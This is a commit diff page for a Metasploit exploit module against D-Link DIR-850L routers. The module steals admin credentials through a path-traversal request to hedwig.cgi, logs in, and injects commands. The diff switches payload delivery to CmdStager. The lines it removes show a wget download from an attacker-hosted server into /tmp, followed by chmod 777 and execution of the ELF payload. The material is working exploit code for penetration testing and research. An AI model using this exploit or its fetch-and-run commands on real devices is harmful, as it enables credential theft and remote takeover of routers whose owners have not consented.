Skip to content

Commit 0a4ce1e

Browse files
author
Austin
authored
cmdstager build
Removes the need for HTTP Server, utilizes helper CmdStager, reduces module size.
1 parent 1758ed9 commit 0a4ce1e

File tree

1 file changed

+23
-156
lines changed

1 file changed

+23
-156
lines changed

modules/exploits/linux/http/dlink_850l_unauth_exec.rb

Lines changed: 23 additions & 156 deletions
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,8 @@ class MetasploitModule < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::Remote::HttpServer
13-
include Msf::Exploit::Remote::EXE
1412
include Msf::Auxiliary::Report
15-
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::CmdStager
1614

1715
def initialize(info = {})
1816
super(update_info(info,
@@ -30,7 +28,6 @@ def initialize(info = {})
3028
['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
3129
],
3230
'DisclosureDate' => 'Aug 9 2017',
33-
'Stance' => Msf::Exploit::Stance::Aggressive,
3431
'License' => MSF_LICENSE,
3532
'Platform' => 'linux',
3633
'Arch' => ARCH_MIPSBE,
@@ -44,14 +41,6 @@ def initialize(info = {})
4441
},
4542
'Targets' => [[ 'Automatic', {} ]],
4643
))
47-
48-
register_options(
49-
[
50-
OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
51-
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
52-
OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
53-
OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to listener', 10])
54-
])
5544
end
5645

5746
def check
@@ -102,6 +91,9 @@ def report_cred(opts)
10291
create_credential_login(login_data)
10392
end
10493

94+
95+
# some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
96+
# should write an auxiliary module to-do -> WRITE AUXILIARY
10597
def retrieve_creds
10698
begin
10799
xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
@@ -110,7 +102,6 @@ def retrieve_creds
110102
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
111103
xml << "</module>\r\n"
112104
xml << "</postxml>"
113-
uid = rand_text_alpha_lower(8)
114105
res = send_request_cgi({
115106
'uri' => '/hedwig.cgi',
116107
'method' => 'POST',
@@ -120,16 +111,20 @@ def retrieve_creds
120111
'Accept' => '*/*'
121112
},
122113
'ctype' => 'text/xml',
123-
'cookie' => "uid=#{uid}",
114+
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
124115
'data' => xml,
125116
})
126-
parse = res.get_xml_document
127-
username = parse.at('//name').text
128-
password = parse.at('//password').text
129-
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
130-
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
131-
print_good("#{peer} - Downloaded credentials to #{loot}")
132-
return username, password
117+
if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
118+
parse = res.get_xml_document
119+
username = parse.at('//name').text
120+
password = parse.at('//password').text
121+
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
122+
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
123+
print_good("#{peer} - Downloaded credentials to #{loot}")
124+
return username, password
125+
else
126+
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
127+
end
133128
rescue ::Rex::ConnectionError
134129
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
135130
end
@@ -166,8 +161,8 @@ def login(username, password)
166161
end
167162
end
168163

169-
def execute(cmd, username, password)
170-
uid = login(username, password)
164+
def execute_command(cmd, opts)
165+
uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
171166
payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
172167
payload << "<postxml>\r\n"
173168
payload << "<module>\r\n"
@@ -225,138 +220,10 @@ def exploit
225220
#
226221
# Information Retrieval, obtains creds and logs in
227222
#
228-
username, password = retrieve_creds
229-
230-
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
231-
232-
@pl = generate_payload_exe
233-
@elf_sent = false
234-
235-
# HTTP Server
236-
resource_uri = '/' + downfile
237-
if (datastore['DOWNHOST'])
238-
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
239-
else
240-
# no ssl...
241-
if datastore['SSL']
242-
ssl_restore = true
243-
datastore['SSL'] = false
244-
end
245-
246-
#
247-
# Service URL
248-
#
249-
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
250-
srv_host = Rex::Socket.source_address(rhost)
251-
else
252-
srv_host = datastore['SRVHOST']
253-
end
254-
255-
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
256-
257-
#
258-
# Retrieve UID from target after authentication
259-
#
260-
261-
print_status("#{peer} - Starting up web service #{service_url}")
262-
263-
start_service({'Uri' => {
264-
'Proc' => Proc.new { |cli, req|
265-
on_request_uri(cli, req)
266-
},
267-
'Path' => resource_uri
268-
}})
269-
270-
datastore['SSL'] = true if ssl_restore
271-
end
272-
273-
274-
#
275-
# Requests target to download payload
276-
#
277-
print_status("#{peer} - Asking target to request to download #{service_url}")
278-
279-
filename = rand_text_alpha_lower(8)
280-
281-
cmd = "wget #{service_url} -O /tmp/#{filename}"
282-
res = execute(cmd, username, password)
283-
if (!res)
284-
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload")
285-
end
286-
287-
if (datastore['DOWNHOST'])
288-
print_status("#{peer} - Giving #{datastore['HTTP_DELAY']} seconds to the device to download the payload")
289-
select(nil, nil, nil, datastore['HTTP_DELAY'])
290-
else
291-
wait_for_linux_payload
292-
end
293-
register_file_for_cleanup("/tmp/#{filename}")
294-
295-
296-
#
297-
# Sets binary permissions to executable
298-
#
299-
cmd = "chmod 777 /tmp/#{filename}"
300-
print_status("#{peer} - Requesting device to chmod #{downfile}")
301-
res = execute(cmd, username, password)
302-
if (!res)
303-
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload") # fannccyyy
304-
end
305-
306-
#
307-
# Executes binary on target
308-
#
309-
cmd = "/tmp/#{filename}"
310-
print_status("#{peer} - Requesting device to execute #{downfile}")
311-
res = execute(cmd, username, password)
312-
if (!res)
313-
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload")
314-
end
315-
wait_for_connect
316-
end
317-
318-
319-
#
320-
# Handler for web server payload delivery
321-
#
322-
def on_request_uri(cli, request)
323-
if (not @pl)
324-
print_error("#{peer} - A request came in, but the payload was not ready")
325-
return
326-
end
327-
print_status("#{peer} - Sending payload to the server...")
328-
@elf_sent = true,
329-
send_response(cli, @pl)
330-
end
331-
332-
#
333-
# Waits for shell to connect back to us, otherwise server stops and nothing is returned
334-
#
335-
def wait_for_connect
336-
print_status("#{peer} - Waiting #{datastore['CONNECTBACK_DELAY'].to_s} seconds for shell to connect back to us...")
337-
waited = 0
338-
while (@elf_sent)
339-
select(nil, nil, nil, 1)
340-
waited += 1
341-
if (waited > datastore['CONNECTBACK_DELAY'])
342-
fail_with(Failure::Unknown, "#{peer} - Shell never connected to us!, disconnect?")
343-
end
344-
end
345-
end
346-
347-
#
348-
# Waits for target to request payload
349-
#
350-
def wait_for_linux_payload
351-
print_status("#{peer} - Waiting for target to request the ELF payload...")
352-
353-
waited = 0
354-
while (not @elf_sent)
355-
select(nil, nil, nil, 1)
356-
waited += 1
357-
if (waited > datastore['HTTP_DELAY'])
358-
fail_with(Failure::Unknown, "#{peer} - Target didn't request the ELF payload - Maybe it can't connect back?") # ;-;
359-
end
360-
end
223+
@username, @password = retrieve_creds
224+
execute_cmdstager(
225+
:flavor => :wget,
226+
:linemax => 200
227+
)
361228
end
362229
end

0 commit comments

Comments
 (0)